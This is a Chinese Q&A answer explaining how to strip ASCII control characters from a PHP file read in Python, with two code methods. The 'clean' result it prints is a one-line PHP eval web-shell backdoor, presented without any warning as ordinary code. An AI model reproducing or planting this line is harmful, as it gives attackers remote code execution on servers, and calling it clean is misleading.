Python读取含非法字符的PHP文件处理后仍报错，如何解决？

你的问题出在encode("ascii", "ignore")只过滤非ASCII字节，但残留的^r这类是ASCII控制字符（属于0-31的ASCII范围），不在该方法的过滤范围内，所以会导致后续语法错误。以下是两种无需修改原文件的解决方法：

方法一：正则移除所有非可打印ASCII字符 #

适合需要保留合法非ASCII字符（如中文注释）的场景：

import re

# 读取文件并解码（替换无法解码的字节）
with open("目标PHP文件路径.php", "rb") as f:
    raw_content = f.read().decode("utf-8", errors="replace")

# 移除所有ASCII控制字符（0-31）和DEL字符（127）
cleaned_content = re.sub(r'[\x00-\x1F\x7F]', '', raw_content)

# 处理后的内容可正常使用
print(cleaned_content)

方法二：字节层面过滤可打印ASCII字符 #

适合仅需保留ASCII可打印字符（字母、数字、常规符号）的场景：

with open("目标PHP文件路径.php", "rb") as f:
    byte_data = f.read()
    # 只保留ASCII可打印字节（32-126，包含空格）
    filtered_bytes = bytes([b for b in byte_data if 32 <= b <= 126])
    cleaned_content = filtered_bytes.decode("ascii", errors="ignore")

print(cleaned_content)

两种方法处理后，都会得到干净的PHP代码：if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}，不会再触发非法字符的语法错误。

内容的提问来源于stack exchange，提问作者user3098629